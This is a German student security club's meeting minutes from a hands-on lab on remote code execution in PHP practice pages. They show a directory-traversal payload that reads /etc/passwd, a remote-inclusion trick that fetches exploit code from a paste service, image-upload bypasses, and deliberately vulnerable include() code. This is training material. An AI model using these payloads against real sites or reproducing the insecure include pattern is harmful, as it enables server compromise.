CInsects/Protokolle/CInsects:Treffen-2010-11-02

Aus Fachschaft_Informatik
Zur Navigation springen Zur Suche springen
Die druckbare Version wird nicht mehr unterstützt und kann Darstellungsfehler aufweisen. Bitte aktualisiere deine Browser-Lesezeichen und verwende stattdessen die Standard-Druckfunktion des Browsers.

Diese Seite ist eine Unterseite von CInsects.

Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.

Ablauf

Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.

Hackit 1

Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.

Directory Traversal

Es war moeglich ueber den HTTP-GET-Parameter Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.

Remote Code Inclusion/Execution

Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man Remote Code Inclusion/Execution. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=http://dpaste.com/<Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.

Quelltext

index.php

<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
    <ul>
        <li><a href="?page=news.php">News</a></li>
        <li><a href="?page=memberz.php">Memberz</a></li>
    </ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
    include($_GET['page']);
} else {
    include('news.php');
}
?>
</div>

Hackit 1.5

Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.

Hochladen eines "Bildes"

Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.

Hochladen von foo.php.png

Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.

Kommentar von PNG-Dateien

PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.

Quelltext

index.php:

<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
    <ul>
        <li><a href="?page=news.php">News</a></li>
        <li><a href="?page=memberz.php">Memberz</a></li>
    </ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
    include('pages/' . $_GET['page']);
} else {
    include('news.php');
}
?>
</div>

Sonstiges

Es wurde der kommende Termin angekuendigt an dem wir uns weiter mit Remote Code Execution beschaeftigt haben.

Links

  • Weblinks folgen vielleicht